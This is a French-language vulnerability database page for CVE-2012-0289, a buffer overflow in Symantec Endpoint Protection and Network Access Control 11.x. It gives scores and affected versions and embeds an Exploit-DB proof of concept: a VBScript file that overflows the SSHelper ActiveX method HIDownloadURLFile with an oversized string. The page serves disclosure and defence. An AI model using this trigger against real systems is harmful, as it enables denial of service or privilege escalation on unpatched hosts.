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Descriptions du CVE
Buffer overflow in Symantec Endpoint Protection (SEP) 11.0.600x through 11.0.710x and Symantec Network Access Control (SNAC) 11.0.600x through 11.0.710x allows local users to gain privileges, and modify data or cause a denial of service, via a crafted script.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 7.2 | AV:L/AC:L/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 18916
Date de publication : 2012-05-22 22h00 +00:00
Auteur : 41.w4r10r
EDB Vérifié : No
# Symantec End Point Protection 11.x & Symantec Network Access Control 11.x Local Code Execution POC
# Date: 22/05/2012
# Author: 41.w4r10r
# Software Link: Symantec.com
# Version: 11.x
# Tested on:
# Windows XP SP2 English
# Windows XP SP3 English
# Windows Vista 32Bit
# Windows 7 32Bit
# CVE : CVE-2012-0289
Time Line:
30/08/2011 - Sent Details of the vulnerability
31/08/2011 - Symantec Requested Affected Version Details
31/08/2011 - Provided Requested Information with POC
27/09/2011 - Vulnerability Confirmed by Symantec
22/05/2012 - Advisory Released
Symantec Advisory:
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120522_01
Affected Products:
Symantec Endpoint Protection
11.0 RU6(11.0.600x)
11.0 RU6-MP1(11.0.6100)
11.0 RU6-MP2(11.0.6200)
11.0 RU6-MP3(11.0.6300)
11.0 RU7(11.0.700x)
11.0 RU7-MP1(11.0.710x)
Symantec Network Access Control
11.0 RU6(11.0.600x)
11.0 RU6-MP1(11.0.6100)
11.0 RU6-MP2(11.0.6200)
11.0 RU6-MP3(11.0.6300)
11.0 RU7(11.0.700x)
11.0 RU7-MP1(11.0.710x)
Affected Resource:
%%System%%\Symantec\Symantec Endpoint Protection\SSHelper.dll
===
POC
===
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:D59EBAD7-AF87-4A5C-8459-D3F6B918E7C9' id='target' />
<script language='vbscript'>
prototype = "Function HIDownloadURLFile ( ByVal cookie As Long , ByVal
url As String , ByVal file_path As String , ByVal rule_name As String ,
ByVal cancel_message As String , ByVal downloading_time As Long , ByVal
bResume As Boolean , ByVal bShowProgressDlg As Boolean , ByVal
bAllowCancel As Boolean , ByVal username As String , ByVal password As
String , ByVal show_error_delay As Long ) As Long"
memberName = "HIDownloadURLFile"
progid = "SSHELPERLib.SSHelper"
argCount = 12
arg1=1
arg2="defaultV"
arg3="defaultV"
arg4="defaultV"
arg5="defaultV"
arg6=1
arg7=True
arg8=True
arg9=True
arg10="defaultV"
arg11= String(6003, "A")
arg12=1
target.HIDownloadURLFile arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6 ,arg7 ,arg8
,arg9 ,arg10 ,arg11 ,arg12
</script></job></package>
Products Mentioned
Configuraton 0
Symantec>>Endpoint_protection >> Version 11.0.6000
- Symantec>>Endpoint_protection >> Version 11.0.6000 (Open CPE detail)
Symantec>>Endpoint_protection >> Version 11.0.6100
- Symantec>>Endpoint_protection >> Version 11.0.6100 (Open CPE detail)
Symantec>>Endpoint_protection >> Version 11.0.6200
- Symantec>>Endpoint_protection >> Version 11.0.6200 (Open CPE detail)
Symantec>>Endpoint_protection >> Version 11.0.6200.754
- Symantec>>Endpoint_protection >> Version 11.0.6200.754 (Open CPE detail)
Symantec>>Endpoint_protection >> Version 11.0.6300
- Symantec>>Endpoint_protection >> Version 11.0.6300 (Open CPE detail)
Symantec>>Endpoint_protection >> Version 11.0.7000
- Symantec>>Endpoint_protection >> Version 11.0.7000 (Open CPE detail)
Symantec>>Endpoint_protection >> Version 11.0.7100
- Symantec>>Endpoint_protection >> Version 11.0.7100 (Open CPE detail)
Configuraton 0
Symantec>>Network_access_control >> Version 11.0.6000
- Symantec>>Network_access_control >> Version 11.0.6000 (Open CPE detail)
Symantec>>Network_access_control >> Version 11.0.6100
- Symantec>>Network_access_control >> Version 11.0.6100 (Open CPE detail)
Symantec>>Network_access_control >> Version 11.0.6200
- Symantec>>Network_access_control >> Version 11.0.6200 (Open CPE detail)
Symantec>>Network_access_control >> Version 11.0.6300
- Symantec>>Network_access_control >> Version 11.0.6300 (Open CPE detail)
Symantec>>Network_access_control >> Version 11.0.7000
- Symantec>>Network_access_control >> Version 11.0.7000 (Open CPE detail)
Symantec>>Network_access_control >> Version 11.0.7100
- Symantec>>Network_access_control >> Version 11.0.7100 (Open CPE detail)
